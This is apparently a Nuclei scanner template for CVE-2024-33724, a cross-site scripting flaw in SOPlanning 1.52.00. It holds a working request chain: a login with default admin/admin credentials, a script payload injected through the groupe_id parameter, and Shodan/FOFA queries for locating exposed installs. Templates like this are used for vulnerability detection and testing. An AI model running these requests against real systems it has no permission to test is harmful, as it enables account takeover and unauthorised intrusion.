id: CVE-2024-33724

info:
  name: SOPlanning 1.52.00 Cross Site Scripting
  author: s4e-io
  severity: medium
  description: |
    SOPlanning v1.52.00 is vulnerable to XSS via the 'groupe_id' parameters a remote unautheticated attacker can hijack the admin account or other users. The remote attacker can hijack a users session or credentials and perform a takeover of the entire platform.
  impact: |
    Authenticated attackers can inject malicious scripts via the groupe_id parameter, potentially hijacking admin or user sessions.
  remediation: |
    Update SOPlanning to a version that patches the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/178434/SOPlanning-1.52.00-Cross-Site-Scripting.html
    - https://github.com/fuzzlove/soplanning-1.52-exploits
  metadata:
    verified: true
    max-request: 2
    vendor: soplanning
    product: soplanning
    shodan-query:
      - html:"soplanning"
      - http.html:"soplanning"
    fofa-query: body="soplanning"
  tags: packetstorm,cve,cve2024,authenticated,soplanning,xss,vuln

http:
  - raw:
      - |
        POST /process/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}

      - |
        GET /process/groupe_save.php?saved=1&groupe_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C!--&nom=Project+New HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    attack: pitchfork

    payloads:
      username:
        - admin
      password:
        - admin

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 200"
          - 'contains_all(body_2, "<script>alert(document.domain)</script>", "SOPlanning")'
        condition: and
# digest: 4b0a00483046022100d53ef1786b72cdae0133ba5343e9f878d6daaf91e75820a1a007f7daca72047f022100f0398464c19b4564c5557f2cca96ca45079a5ffa52b8201d207a1cefbceb8ba4:922c64590222798bb761d5b6d8e72950